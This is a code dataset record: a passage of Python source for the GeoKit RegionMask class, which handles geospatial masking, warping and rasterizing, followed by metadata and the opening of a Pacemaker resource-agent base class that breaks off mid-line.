pixelHeight!!\"\"\"\n if s._pixelRes is None:\n raise GeoKitRegionMaskError(\"pixelRes only accessable when pixelWidth equals pixelHeight\")\n return s._pixelRes\n\n\n def buildMask(s, **kwargs):\n \"\"\"Explicitly build the RegionMask's mask matrix. \n \n * The 'width' and 'height' attributes for the RegionMask are also set\n when this function is called\n * All kwargs are passed on to a call to geokit.vector.rasterize()\n\n \"\"\"\n if s._geometry is None:\n raise GeoKitRegionMaskError(\"Cannot build mask when geometry is None\")\n\n s._mask = None\n s._mask = s.rasterize(s.vectorPath, applyMask=False, **kwargs).astype(np.bool)\n s.height, s.width = s._mask.shape\n\n @property\n def mask(s):\n \"\"\"The RegionMask's mask array as an 2-dimensional boolean numpy array.\n \n * If no mask was given at the time of the RegionMask's creation, then a \n mask will be generated on first access to the 'mask' property\n * The mask can be rebuilt in a customized way using the \n RegionMask.buildMask() function\n \"\"\"\n if(s._mask is None): s.buildMask()\n return s._mask\n\n @property\n def area(s):\n return s.mask.sum()*s.pixelWidth*s.pixelHeight\n\n def buildGeometry(s):\n \"\"\"Explicitly build the RegionMask's geometry\"\"\"\n if s._mask is None:\n raise GeoKitRegionMaskError(\"Cannot build geometry when mask is None\")\n \n s._geometry = None\n s._geometry = polygonizeMask( s.mask, bounds=s.extent.xyXY, srs=s.extent.srs, flat=True )\n\n\n @property\n def geometry(s):\n \"\"\"Fetches a clone of the RegionMask's geometry as an OGR Geometry object\n\n * If a geometry was not provided when the RegionMask was initialized, \n then one will be generated from the RegionMask's mask matrix in the \n RegionMask's extent\n * The geometry can always be deleted and rebuild using the \n RegionMask.rebuildGeometry() function\n \"\"\"\n\n if(s._geometry is None): s.buildGeometry()\n\n return s._geometry.Clone()\n\n @property\n def vectorPath(s):\n \"\"\"Returns a path to a vector path on disc which is built only once\"\"\"\n\n if(s._vectorPath is None): \n s._vectorPath = s._tempFile(ext=\".shp\")\n createVector(s.geometry, output=s._vectorPath)\n\n return s._vectorPath\n\n @property\n def vector(s):\n \"\"\"Returns a vector saved in memory which is built only once\"\"\"\n\n if(s._vector is None): \n s._vector = quickVector(s.geometry)\n\n return s._vector\n\n def _repr_svg_(s):\n if(not hasattr(s,\"svg\")):\n f = BytesIO()\n\n import matplotlib.pyplot as plt\n plt.figure(figsize=(4,4))\n ax = plt.subplot(111)\n\n r= s.drawSelf(ax=ax)\n\n ax.set_aspect('equal')\n ax.autoscale(enable=True)\n ax.axis('off')\n plt.tight_layout()\n plt.savefig(f, format=\"svg\", dpi=100)\n plt.close()\n\n f.seek(0)\n s.svg = f.read().decode('ascii')\n\n return s.svg\n\n def _tempFile(s, head=\"tmp\", ext=\".tif\"):\n \"\"\"***RM INTERNAL***\n\n Use this to create a temporary file associated with the RegionMask which \n will be deleted when the RM goes out of scope.\n\n !! BEWARE OF EXTERNAL DEPENDANCIES WHEN THE RM IS GOING OUT OF SCOPE, \n THIS WILL CAUSE A LOT OF ISSUES !!\n \"\"\"\n if(not hasattr(s,\"_TMPDIR\")):\n # Create a temporary directory to use with this shape (and associated processes)\n s._TMPDIR = TemporaryDirectory()\n return NamedTemporaryFile(suffix=ext, prefix=head, dir=s._TMPDIR.name, delete=True).name\n\n def __del__(s):\n if(hasattr(s, \"_TMPDIR\")): s._TMPDIR.cleanup()\n\n def _resolve(s, div):\n if(div<0): div = 1.0/abs(int(div))\n return (s.pixelWidth/div, s.pixelHeight/div)\n\n def applyMask(s, mat, noData=0):\n \"\"\"Shortcut to apply the RegionMask's mask to an array. Mainly intended\n for internal use\n\n * When the passed matrix does not have the same extents of the given matrix,\n it is assumed that the RegionMask's mask needs to be scaled so that the\n matrix dimensions match\n\n * The RM's mask can only be scaled UP, and the given matrix's dimensions\n must be mutiples of the mask's dimensions\n\n Parameters:\n -----------\n mat : np.ndarray\n The matrix to apply the mask to\n * Must have dimensions equal, or are multiples of, the mask's\n\n noData : float\n The no-data value to set into matrix's values which are not within \n the region\n\n Returns:\n --------\n numpy.ndarray\n \n \"\"\"\n if(noData is None): noData=0\n # Get size\n Y,X = mat.shape\n\n # make output array\n out = np.array(mat)\n\n # Apply mask\n if( s.mask.shape == mat.shape ): # matrix dimensions coincide with mask's data\n out[~s.mask] = noData\n\n elif( Y>s.height and X>s.width ):\n if( not Y%s.height==0 or not X%s.width==0 ):\n raise GeoKitRegionMaskError(\"Matrix dimensions must be multiples of mask dimensions\")\n\n yScale = Y//s.height\n xScale = X//s.width\n\n scaledMask = scaleMatrix(s.mask, (yScale,xScale))\n sel = np.where(~scaledMask)\n out[sel] = noData\n\n else:\n raise GeoKitRegionMaskError(\"Could not map mask onto matrix\")\n\n return out\n \n #######################################################################################\n ## Raw value processor\n def _returnBlank(s, resolutionDiv=1, forceMaskShape=False, applyMask=True, noData=None, **kwargs):\n # make output\n if not forceMaskShape and resolutionDiv > 1:\n yN = s.mask.shape[0]*int(resolutionDiv)\n xN = s.mask.shape[1]*int(resolutionDiv)\n output = np.zeros( (yN,xN) )\n else:\n output = np.zeros(s.mask.shape)\n\n # apply mask, maybe\n if applyMask:\n output = s.applyMask(output, noData)\n\n # Done\n return output\n\n def indicateValues(s, source, value, buffer=None, resolutionDiv=1, forceMaskShape=False, applyMask=True, noData=None, resampleAlg='bilinear', **kwargs):\n \"\"\"\n Indicates those pixels in the RegionMask which correspond to a particular \n value, or range of values, from a given raster datasource\n\n Returns a matrix matching the RegionMask's mask dimensions wherein 0 means\n the pixels is not included in the indicated set, and 1 meaning the pixel \n is included in the indicated set. Intermediate values are also possible. \n This results from a scenario when the datasource's resolution does not \n line up perfectly with the RegionMask's resolution and, as a result, a \n RegionMask pixel overlaps multiple datasource pixels which are not all \n indicated (or not-indicated). \n \n * Value processing is performed BEFORE a warp takes place\n * Output from the warp is clipped to values between 0 and 1\n * If a boolean matrix is desired of the result, use \"result > 0.5\"\n\n Parameters:\n -----------\n source : str or gdal.Dataset\n The raster datasource to indicate from\n \n value : float or tuple\n The value or range of values to indicate\n * If float : The exact value to accept\n - Maybe cause issues due to float comparison issues. Using an \n integer is usually better\n * If (float, float) : The inclusive Min and Max values to accept\n - None refers to no bound\n - Ex. (None, 5) -> \"Indicate all values equal to and below 5\"\n\n buffer : float; optional\n A buffer region to add around the indicated pixels\n * Units are in the RegionMask's srs\n * The buffering occurs AFTER the indication and warping step and\n so it may not represent the original dataset exactly\n - Buffering can be made more accurate by increasing the \n 'resolutionDiv' input\n \n resolutionDiv : int\n The factor by which to divide the RegionMask's native resolution\n * This is useful if you need to represent very fine details\n\n resampleAlg : str; optional\n The resampling algorithm to use when warping values\n * Knowing which option to use can have significant impacts!\n * Options are: 'nearesampleAlg=resampleAlg, r', 'bilinear', 'cubic', \n 'average'\n\n forceMaskShape : bool \n If True, forces the returned matrix to have the same dimension as \n the RegionMask's mask regardless of the 'resolutionDiv' argument\n\n applyMask : bool\n When True, the RegionMask's mask will be applied to the outputData\n as described by RegionMask.applyMask\n\n noData : numeric\n The noData value to use when applying the mask\n \n kwargs -- Passed on to RegionMask.warp()\n * Most notably: 'resampleAlg'\n\n\n Returns:\n --------\n numpy.ndarray\n\n\n \"\"\"\n # Unpack value\n if isinstance(value, tuple):\n valueMin,valueMax = value\n valueEquals = None\n else:\n valueMin,valueMax = None,None\n valueEquals = value\n\n # make processor\n def processor(data):\n ## Find nan values, maybe\n if(not noData is None): \n nodat = np.isnan(data)\n \n ## Do processing\n if(not valueEquals is None):\n output = data == valueEquals\n else:\n output = np.ones(data.shape, dtype=\"bool\")\n \n if(not valueMin is None):\n np.logical_and(data >= valueMin, output, output)\n if(not valueMax is None):\n np.logical_and(data <= valueMax, output, output)\n \n ## Fill nan values, maybe\n if(not noData is None): \n output[nodat] = noData\n\n ## Done!\n return output\n\n # Do processing\n newDS = s.extent.mutateRaster(source, processor=processor, dtype=\"bool\", noData=noData, matchContext=False)\n\n # Warp onto region\n final = s.warp(newDS, dtype=\"float32\", resolutionDiv=resolutionDiv, resampleAlg=resampleAlg, \n applyMask=False, noData=noData, returnMatrix=True, **kwargs)\n\n # Check for results\n if not (final > 0).any():\n # no results were found\n return s._returnBlank(resolutionDiv=resolutionDiv, forceMaskShape=forceMaskShape, \n applyMask=applyMask, noData=noData)\n\n # Apply a buffer if requested\n if not buffer is None:\n geoms = s.polygonizeMask(final>0.5, flat=False)\n\n if len(geoms)>0:\n geoms = [g.Buffer(buffer) for g in geoms]\n areaDS = createVector(geoms)\n final = s.rasterize( areaDS, dtype=\"float32\", bands=[1], burnValues=[1], resolutionDiv=resolutionDiv, \n applyMask=False, noData=noData)\n else:\n # no results were found\n return s._returnBlank(resolutionDiv=resolutionDiv, forceMaskShape=forceMaskShape, \n applyMask=applyMask, noData=noData)\n\n # apply a threshold incase of funky warping issues\n final[final>1.0] = 1\n final[final<0.0] = 0\n\n # Make sure we have the mask's shape\n\n if forceMaskShape:\n if resolutionDiv > 1:\n final = scaleMatrix(final, -1*resolutionDiv)\n\n # Apply mask?\n if applyMask: final = s.applyMask(final, noData)\n\n # Return result\n return final\n\n #######################################################################################\n ## Vector feature indicator\n def indicateFeatures(s, source, where=None, buffer=None, bufferMethod='geom', resolutionDiv=1, forceMaskShape=False, applyMask=True, noData=0, **kwargs):\n \"\"\"\n Indicates the RegionMask pixels which are found within the features (or \n a subset of the features) contained in a given vector datasource\n\n * A Rasterization is performed from the input data set to the \n RegionMask's mask.\n -See geokit.vector.rasterize or, more specifically gdal.RasterizeOptions\n kwargs for more info on how to control the rasterization step\n \n Parameters:\n -----------\n source : str or gdal.Dataset\n The vector datasource to indicate from\n \n where : str; optional\n An SQL-style filtering string\n * Can be used to filter the input source according to their attributes\n * For tips, see \"http://www.gdal.org/ogr_sql.html\"\n Ex: \n where=\"eye_color='Green' AND IQ>90\"\n\n buffer : float; optional\n A buffer region to add around the indicated pixels\n * Units are in the RegionMask's srs\n\n bufferMethod : str; optional\n An indicator determining the method to use when buffereing\n * Options are: 'geom' and 'area'\n * If 'geom', the function will attempt to grow each of the geometries\n directly using the ogr library\n - This can fail sometimes when the geometries are particularly \n complex or if some of the geometries are not valid (as in, they \n have self-intersections)\n * If 'area', the function will first rasterize the raw geometries and\n will then apply the buffer to the indicated pixels\n - This is the safer option although is not as accurate as the 'geom'\n option since it does not capture the exact edges of the geometries\n - This method can be made more accurate by increasing the \n 'resolutionDiv' input\n \n resolutionDiv : int; optional\n The factor by which to divide the RegionMask's native resolution\n * This is useful if you need to represent very fine details\n\n forceMaskShape : bool; optional\n If True, forces the returned matrix to have the same dimension as \n the RegionMask's mask regardless of the 'resolutionDiv' argument\n\n applyMask : bool; optional\n When True, the RegionMask's mask will be applied to the outputData\n as described by RegionMask.applyMask\n\n noData : numeric\n The noData value to use when applying the mask\n \n kwargs -- Passed on to RegionMask.rasterize()\n * Most notably: 'allTouched'\n\n Returns:\n --------\n numpy.ndarray\n\n \"\"\"\n # Ensure path to dataSet exists\n source = loadVector(source)\n \n # Do we need to buffer?\n if buffer==0: buffer=None\n if not buffer is None and bufferMethod == 'geom':\n def doBuffer(ftr): return {'geom':ftr.geom.Buffer(buffer)}\n source = s.mutateVector(source, where=where, processor=doBuffer, matchContext=True, keepAttributes=False, _slim=True)\n\n where=None # Set where to None since the filtering has already been done\n\n if source is None: # this happens when the returned dataset is empty\n return s._returnBlank(resolutionDiv=resolutionDiv, forceMaskShape=forceMaskShape, \n applyMask=applyMask, noData=noData, **kwargs)\n\n # Do rasterize\n final = s.rasterize( source, dtype='float32', value=1, where=where, resolutionDiv=resolutionDiv, \n applyMask=False, noData=noData)\n # Check for results\n if not (final > 0).any():\n # no results were found\n return s._returnBlank(resolutionDiv=resolutionDiv, forceMaskShape=forceMaskShape, \n applyMask=applyMask, noData=noData)\n\n # maybe we want to do the other buffer method\n if not buffer is None and bufferMethod == 'area':\n geoms = polygonizeMask(final>0.5, bounds=s.extent, srs=s.srs, flat=False)\n if len(geoms)>0:\n geoms = [g.Buffer(buffer) for g in geoms]\n dataSet = createVector(geoms)\n final = s.rasterize( dataSet, dtype=\"float32\", bands=[1], burnValues=[1], resolutionDiv=resolutionDiv, \n applyMask=False, noData=noData)\n else:\n return s._returnBlank(resolutionDiv=resolutionDiv, forceMaskShape=forceMaskShape, \n applyMask=applyMask, noData=noData)\n\n # Make sure we have the mask's shape\n if forceMaskShape:\n if resolutionDiv > 1:\n final = scaleMatrix(final, -1*resolutionDiv)\n\n # Apply mask?\n if applyMask: final = s.applyMask(final, noData)\n\n # Return\n return final\n\n #######################################################################################\n ## Vector feature indicator\n def indicateGeoms(s, geom, **kwargs):\n \"\"\"\n Convenience wrapper to indicate values found within a geometry (or a \n list of geometries)\n\n * Simply creates a new vector source from the given geometry and then \n calls RegionMask.indicateFeatures\n * All keywords are passed on to RegionMask.indicateFeatures\n \"\"\"\n # Make a vector dataset\n ds = quickVector(geom)\n\n # Indicate features\n return s.indicateFeatures(ds, **kwargs)\n\n #######################################################################################\n ## Make a sub region generator\n def subRegions(s, gridSize, asMaskAndExtent=False):\n \"\"\"Generate a number of sub regions on a grid which combine into the total\n RegionMask area\n \"\"\"\n # get useful matrix info\n yN, xN = s.mask.shape\n pixelGridSize = int(gridSize/min(s.pixelWidth, s.pixelHeight))\n\n # Make grid areas\n count = 0\n for ys in range(0, yN, pixelGridSize):\n\n yn = min(yN, ys+pixelGridSize)\n yMax = s.extent.yMax - ys*s.pixelHeight\n yMin = s.extent.yMax - yn*s.pixelHeight\n\n for xs in range(0, xN, pixelGridSize):\n xn = min(xN, xs+pixelGridSize)\n xMin = s.extent.xMin + xs*s.pixelWidth\n xMax = s.extent.xMin + xn*s.pixelWidth\n\n sectionMask = s.mask[ys:yn, xs:xn]\n if not sectionMask.any(): continue\n\n sectionExtent = Extent( xMin,yMin,xMax,yMax, srs=s.srs ).fit((s.pixelWidth, s.pixelHeight))\n\n if asMaskAndExtent:\n yield MaskAndExtent( sectionMask, sectionExtent, count)\n else:\n yield RegionMask.fromMask(sectionExtent, sectionMask, dict(id=count))\n\n count+=1\n\n\n #############################################################################\n ## CONVENIENCE WRAPPERS\n def drawMask( s, ax=None, **kwargs):\n \"\"\"Convenience wrapper around geokit.util.drawImage which plots the \n RegionMask's mask over the RegionMask's context.\n\n * See geokit.util.drawImage for more info on argument options\n * Unless specified, the plotting extent is set to the RegionMask's extent\n - This only plays a role when generating a new axis\n\n \"\"\"\n xlim = kwargs.pop(\"xlim\", (s.extent.xMin, s.extent.xMax))\n ylim = kwargs.pop(\"ylim\", (s.extent.yMin, s.extent.yMax))\n return drawImage( s.mask, ax=ax, xlim=xlim, ylim=ylim, **kwargs )\n\n def drawImage( s, matrix, ax=None, drawSelf=True, **kwargs):\n \"\"\"Convenience wrapper around geokit.util.drawImage which plots matrix data\n which is assumed to match the boundaries of the RegionMask\n\n * See geokit.util.drawImage for more info on argument options\n * Unless specified, the plotting extent is set to the RegionMask's extent\n - This only plays a role when generating a new axis\n\n \"\"\"\n xlim = kwargs.pop(\"xlim\", (s.extent.xMin, s.extent.xMax))\n ylim = kwargs.pop(\"ylim\", (s.extent.yMin, s.extent.yMax))\n\n ax = drawImage( matrix, ax=ax, xlim=xlim, ylim=ylim, **kwargs )\n\n if drawSelf:\n s.drawSelf( ax=ax, fc='None', ec='k', linewidth=2)\n return ax\n\n def drawGeoms( s, geoms, ax=None, drawSelf=True, **kwargs):\n \"\"\"Convenience wrapper around geokit.geom.drawGeoms which plots geometries\n which are then plotted within the context of the RegionMask\n\n * See geokit.geom.drawGeoms for more info on argument options\n * Geometries are always plotted in the RegionMask's SRS\n * Unless specified, x and y limits are set to the RegionMask's extent\n - This only plays a role when generating a new axis\n \"\"\"\n xlim = kwargs.pop(\"xlim\", (s.extent.xMin, s.extent.xMax))\n ylim = kwargs.pop(\"ylim\", (s.extent.yMin, s.extent.yMax))\n ax = drawGeoms( geoms, ax=ax, srs=s.srs, xlim=xlim, ylim=ylim, **kwargs )\n\n if drawSelf:\n s.drawSelf( ax=ax, fc='None', ec='k', linewidth=2)\n return ax\n\n\n def drawSelf( s, ax=None, **kwargs):\n \"\"\"Convenience wrapper around geokit.geom.drawGeoms which plots the \n RegionMask's geometry\n\n * See geokit.geom.drawGeoms for more info on argument options\n * Geometry are always plotted in the RegionMask's SRS\n * Unless specified, x and y limits are set to the RegionMask's extent\n - This only plays a role when generating a new axis\n \"\"\"\n xlim = kwargs.pop(\"xlim\", (s.extent.xMin, s.extent.xMax))\n ylim = kwargs.pop(\"ylim\", (s.extent.yMin, s.extent.yMax))\n return drawGeoms( s.geometry, ax=ax, srs=s.srs, xlim=xlim, ylim=ylim, **kwargs )\n \n\n def drawRaster( s, source, ax=None, drawSelf=True, **kwargs):\n \"\"\"Convenience wrapper around geokit.raster.drawRaster which plots a raster\n dataset within the context of the RegionMask\n\n * See geokit.raster.drawRaster for more info on argument options\n * The raster is always warped to the RegionMask's SRS\n * Unless specified, x and y limits are set to the RegionMask's extent\n - This only plays a role when generating a new axis\n \"\"\"\n xlim = kwargs.pop(\"xlim\", (s.extent.xMin, s.extent.xMax))\n ylim = kwargs.pop(\"ylim\", (s.extent.yMin, s.extent.yMax))\n ax = drawGeoms( s.geometry, ax=ax, srs=s.srs, xlim=xlim, ylim=ylim, **kwargs )\n \n if drawSelf:\n s.drawSelf( ax=ax, fc='None', ec='k', linewidth=2)\n return ax\n\n\n def createRaster(s, output=None, resolutionDiv=1, **kwargs):\n \"\"\"Convenience wrapper for geokit.raster.createRaster which sets 'srs',\n 'bounds', 'pixelWidth', and 'pixelHeight' inputs\n\n Parameters:\n ----------- \n output : str; optional\n A path to an output file to write to\n\n resolutionDiv : int\n The factor by which to divide the RegionMask's native resolution\n * This is useful if you need to represent very fine details\n \n **kwargs:\n All other keywargs are passed on to geokit.raster.createRaster()\n * See below for argument descriptions\n\n Returns:\n --------\n * If 'output' is None: gdal.Dataset\n * If 'output' is a string: None\n\n \"\"\"\n pW, pH = s._resolve(resolutionDiv)\n return s.extent.createRaster( pixelWidth=pW, pixelHeight=pH, output=output, **kwargs)\n\n def warp(s, source, output=None, resolutionDiv=1, returnMatrix=True, applyMask=True, noData=None, resampleAlg='bilinear', **kwargs):\n \"\"\"Convenience wrapper for geokit.raster.warp() which automatically sets\n 'srs', 'bounds', 'pixelWidth', and 'pixelHeight' inputs\n \n Note:\n -----\n When creating an 'in memory' raster vs one which is saved to disk, a slightly\n different algorithm is used which can sometimes add an extra row of pixels. Be\n aware of this if you intend to compare value-matricies directly from rasters \n generated with this function.\n\n Parameters:\n -----------\n source : str\n The path to the raster file to warp\n \n output : str; optional\n A path to an output file to write to\n\n resampleAlg : str; optional\n The resampling algorithm to use when warping values\n * Knowing which option to use can have significant impacts!\n * Options are: 'nearesampleAlg=resampleAlg, r', 'bilinear', 'cubic', \n 'average'\n\n resolutionDiv : int\n The factor by which to divide the RegionMask's native resolution\n * This is useful if you need to represent very fine details\n\n returnAsMatrix : bool\n When True, the resulting raster's matrix is return \n * Should have the same dimensions as the RegionMask's mask matrix\n\n applyMask : bool\n When True, the RegionMask's mask will be applied to the outputData\n as described by RegionMask.applyMask\n\n noData : numeric\n The noData value to use when applying the mask\n \n **kwargs:\n All other keywargs are passed on to geokit.raster.warp()\n\n Returns:\n --------\n * If 'output' is None: gdal.Dataset\n * If 'output' is a string: None\n\n \"\"\"\n pW, pH = s._resolve(resolutionDiv)\n\n # do warp\n if returnMatrix:\n newDS = s.extent.warp(source=source, pixelWidth=pW, pixelHeight=pH, resampleAlg=resampleAlg, output=output, **kwargs)\n else:\n if applyMask:\n if \"cutline\" in kwargs: \n raise GeoKitRegionMaskError(\"Cannot apply both a cutline and the mask when returning the warped dataset\")\n newDS = s.extent.warp(source=source, pixelWidth=pW, pixelHeight=pH, resampleAlg=resampleAlg, cutline=s.vectorPath, output=output, **kwargs) \n else:\n newDS = s.extent.warp(source=source, pixelWidth=pW, pixelHeight=pH, resampleAlg=resampleAlg, output=output, **kwargs)\n\n if not returnMatrix: return newDS\n\n # Read array\n if newDS is None: newDS = output\n final = extractMatrix(newDS)\n \n # clean up\n del newDS\n\n # Apply mask, maybe\n if(applyMask): \n final = s.applyMask(final, noData)\n \n # Return\n return final\n\n def rasterize(s, source, output=None, resolutionDiv=1, returnMatrix=True, applyMask=True, noData=None, **kwargs):\n \"\"\"Convenience wrapper for geokit.vector.rasterize() which automatically\n sets the 'srs', 'bounds', 'pixelWidth', and 'pixelHeight' inputs \n\n Note:\n -----\n When creating an 'in memory' raster vs one which is saved to disk, a slightly\n different algorithm is used which can sometimes add an extra row of pixels. Be\n aware of this if you intend to compare value-matricies directly from rasters \n generated with this function.\n \n Parameters:\n -----------\n source : str\n The path to the vector file to load\n\n output : str; optional\n A path to an output file to write to\n\n resolutionDiv : int; optional\n The factor by which to divide the RegionMask's native resolution\n * This is useful if you need to represent very fine details\n\n returnAsMatrix : bool; optional\n When True, the resulting raster's matrix is return \n * Should have the same dimensions as the RegionMask's mask matrix\n\n applyMask : bool; optional\n When True, the RegionMask's mask will be applied to the outputData\n as described by RegionMask.applyMask\n\n noData : numeric; optional\n The noData value to use when applying the mask\n \n **kwargs:\n All other keywargs are passed on to geokit.vector.rasterize()\n\n Returns:\n --------\n * If 'output' is None: gdal.Dataset\n * If 'output' is a string: None\n\n \"\"\"\n pW, pH = s._resolve(resolutionDiv)\n\n # do rasterization\n if returnMatrix:\n newDS = s.extent.rasterize(source=source, pixelWidth=pW, pixelHeight=pH, output=output, **kwargs)\n else:\n if applyMask:\n if \"cutline\" in kwargs: \n raise GeoKitRegionMaskError(\"Cannot apply both a cutline and the mask when returning the rasterized dataset\")\n newDS = s.extent.rasterize(source=source, pixelWidth=pW, pixelHeight=pH, cutline=s.vectorPath, output=output, **kwargs) \n else:\n newDS = s.extent.rasterize(source=source, pixelWidth=pW, pixelHeight=pH, output=output, **kwargs)\n\n if not returnMatrix: return newDS\n\n # Read array\n if newDS is None: newDS = output\n final = extractMatrix(newDS)\n \n # clean up\n del newDS\n\n # Apply mask, maybe\n if(applyMask): \n final = s.applyMask(final, noData)\n \n # Return\n return final\n\n def extractFeatures(s, source, **kwargs):\n \"\"\"Convenience wrapper for geokit.vector.extractFeatures() by setting the \n 'geom' input to the RegionMask's geometry\n \n Parameters:\n -----------\n source : str\n The path to the vector file to load\n\n **kwargs:\n All other keyword arguments are passed on to vector.extractFeatures()\n \n Returns:\n --------\n * If asPandas is True: pandas.DataFrame or pandas.Series\n * If asPandas is False: generator\n\n \"\"\"\n return extractFeatures( source=source, geom=s.geometry, **kwargs )\n\n\n def mutateVector(s, source, matchContext=False, **kwargs):\n \"\"\"Convenience wrapper for geokit.vector.mutateVector which automatically\n sets 'srs' and 'geom' inputs to the RegionMask's srs and geometry\n\n * The RegionMask's geometry is always used to select features within the \n source. If you need a broader scope, try using the RegionMask's extent's\n version of this function\n\n Note:\n -----\n If this is called without any arguments except for a source, it serves\n to clip the vector source around the RegionMask\n\n Parameters:\n -----------\n source : Anything acceptable to geokit.vector.loadVector()\n The source to clip\n\n matchContext : bool; optional\n * If True, transforms all geometries to the RegionMask's srs before \n mutating\n * If False, only selects the geometries which touch the RegionMask\n\n **kwargs:\n All other keyword arguments are passed to geokit.vector.mutateVector\n \n Returns:\n --------\n * If 'output' is None: gdal.Dataset\n * If 'output' is a string: None\n \n \"\"\"\n # Get the working srs\n if not matchContext:\n vinfo = vectorInfo( source )\n ext = s.extent.castTo(vinfo.srs)\n else:\n ext = s.extent\n\n # mutate the source\n return mutateVector(source, srs=ext.srs, geom=s.geometry, **kwargs)\n\n def mutateRaster(s, source, matchContext=True, warpArgs=None, applyMask=True, processor=None, resampleAlg=\"bilinear\", **mutateArgs):\n \"\"\"Convenience wrapper for geokit.vector.mutateRaster which automatically\n sets 'bounds'. It also warps the raster to the RegionMask's area \n and srs before mutating\n\n Note:\n -----\n If this is called without any arguments except for a source, it serves\n to clip the raster source around the RegionMask, therefore performing\n the same function as RegionMask.warp(..., returnMatrix=False)\n\n Parameters:\n -----------\n source : Anything acceptable to geokit.raster.loadRaster()\n The source to mutate\n \n matchContext : bool; optional\n * If True, Warp to the RegionMask's boundaries, srs and pixel size \n before mutating\n * If False, only warp to the RegionMask's boundaries, but keep its \n srs and resolution intact\n \n resampleAlg : str; optional\n The resampling algorithm to use when warping values\n * Knowing which option to use can have significant impacts!\n * Options are: 'nearesampleAlg=resampleAlg, r', 'bilinear', 'cubic', \n 'average'\n\n warpArgs : dict; optional\n Arguments to apply to the warping step\n * See geokit.raster.warp()\n\n processor - function; optional\n The function performing the mutation of the raster's data \n * The function will take single argument (a 2D numpy.ndarray) \n * The function must return a numpy.ndarray of the same size as the input\n * The return type must also be containable within a Float32 (int and \n boolean is okay)\n * See example in geokit.raster.mutateRaster for more info\n\n applyMask : bool; optional\n When True, the RegionMask's mask will be applied to the outputData\n as described by RegionMask.applyMask\n\n **kwargs:\n All other keyword arguments are passed to geokit.vector.mutateVector\n\n Returns:\n --------\n * If 'output' is None: gdal.Dataset\n * If 'output' is a string: None\n\n \"\"\"\n output = kwargs.pop(\"output\", None)\n if warpArgs is None: warpArgs = {}\n\n # Do the warp and mutation\n if matchContext:\n source = s.warp(source, returnMatrix=False, applyMask=applyMask, resampleAlg=resampleAlg, **warpArgs)\n\n if processor is None: return source\n else: return mutateRaster(source, output=output, **mutateArgs)\n\n else:\n if applyMask:\n if \"cutline\" in warpArgs:\n raise GeoKitRegionMaskError(\"Cannot apply both a cutline and the mask during prewarping\")\n warpArgs[\"cutline\"] = s.vector\n\n return s.extent.mutateRaster( source, matchContext=False, warpArgs=warpArgs, resampleAlg=resampleAlg, **mutateArgs)\n\n\n def polygonizeMatrix(s, matrix, flat=False, shrink=True, _raw=False):\n \"\"\"Convenience wrapper for geokit.geom.polygonizeMatrix which autmatically\n sets the 'bounds' and 'srs' inputs. The matrix data is assumed to span the\n RegionMask exactly.\n\n Each unique-valued group of pixels will be converted to a geometry\n\n Parameters:\n -----------\n matrix : matrix_like\n The matrix which will be turned into a geometry set\n * Must be 2 dimensional\n * Must be integer or boolean type\n\n flat : bool\n If True, flattens the resulting geometries which share a contiguous matrix\n value into a single geometry object\n\n shrink : bool\n If True, shrink all geoms by a tiny amount in order to avoid geometry \n overlapping issues\n * The total amount shrunk should be very very small\n * Generally this should be left as True unless it is ABSOLUTELY \n necessary to maintain the same area\n\n Returns:\n --------\n pandas.DataFrame -> With columns:\n 'geom' -> The contiguous-valued geometries\n 'value' -> The value for each geometry\n\n \"\"\"\n return polygonizeMatrix(matrix, bounds=s.extent.xyXY, srs=s.srs, flat=flat, shrink=shrink, _raw=_raw)\n\n\n def polygonizeMask(s, mask, bounds=None, srs=None, flat=True, shrink=True):\n \"\"\"Convenience wrapper for geokit.geom.polygonizeMask which autmatically\n sets the 'bounds' and 'srs' inputs. The mask data is assumed to span the\n RegionMask exactly\n \n Each True-valued group of pixels will be converted to a geometry\n\n Parameters:\n -----------\n mask : matrix_like\n The mask which will be turned into a geometry set\n * Must be 2 dimensional\n * Must be boolean type\n * True values are interpreted as 'in the geometry'\n\n flat : bool\n If True, flattens the resulting geometries into a single geometry\n\n shrink : bool\n If True, shrink all geoms by a tiny amount in order to avoid geometry \n overlapping issues\n * The total amount shrunk should be very very small\n * Generally this should be left as True unless it is ABSOLUTELY \n neccessary to maintain the same area\n\n Returns:\n --------\n If 'flat' is True: ogr.Geometry\n else: [ogr.Geometry, ]\n\n \"\"\"\n return polygonizeMask(mask, bounds=s.extent.xyXY, srs=s.srs, flat=flat, shrink=shrink)\n ","sub_path":"geokit/core/regionmask.py","file_name":"regionmask.py","file_ext":"py","file_size_in_byte":53896,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"369260935","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# This code is heavily based on inqbus.ocf.generic, see https://pypi.python.org/pypi/inqbus.ocf.generic\n\nimport os\nimport sys\nimport inspect\n\nfrom xml.etree import ElementTree\nimport exits\n\n\nclass Parameter(dict):\n def __init__(self, longdesc, shortdesc, ocftype=\"string\", required=False, unique=False, default=None):\n super(Parameter, self).__init__(longdesc=longdesc, shortdesc=shortdesc, ocftype=ocftype, required=required, unique=unique, default=default)\n\n\nclass Agent(object):\n allowed_methods = [\"meta-data\", \"validate-all\", \"start\", \"stop\", \"monitor\", \"notify\"]\n name = \"agent\"\n version = \"1.0\"\n longdesc = \"Resource agent\"\n shortdesc = \"RA\"\n params = {}\n timeout = 30\n meta_data_timeout = 5\n\n def not_implemented(self):\n raise exits.OCF_ERR_UNIMPLEMENTED(\"not implemented\")\n\n def run(self, argv):\n if argv[1] in self.allowed_methods:\n func = getattr(self, argv[1].replace(\"-\", \"_\"), self.not_implemented)\n func()\n else:\n raise exits.OCF_ERR_UNIMPLEMENTED(\"not implemented\")\n\n def get_meta_data(self):\n \"\"\"\n Derive a pacemaker conform xml description of the plugins services\n \"\"\"\n params = self.params\n eResourceAgent = ElementTree.Element(\"resource-agent\", {\"name\": self.name, \"version\": self.version})\n ElementTree.SubElement(eResourceAgent, \"version\").text = \"1.0\"\n\n ElementTree.SubElement(eResourceAgent, \"longdesc\", {\"lang\": \"en\"}).text = self.longdesc\n ElementTree.SubElement(eResourceAgent, \"shortdesc\", {\"lang\": \"en\"}).text = self.shortdesc\n\n eParameters = ElementTree.SubElement(eResourceAgent, \"parameters\")\n for param in self.params.keys():\n parameter = ElementTree.SubElement(eParameters, \"parameter\", {\"name\": param})\n ElementTree.SubElement(parameter, \"longdesc\", {\"lang\": \"en\"}).text = params[param][\"longdesc\"]\n ElementTree.SubElement(parameter, \"shortdesc\", {\"lang\": \"en\"}).text = params[param][\"shortdesc\"]\n if params[param][\"required\"]:\n 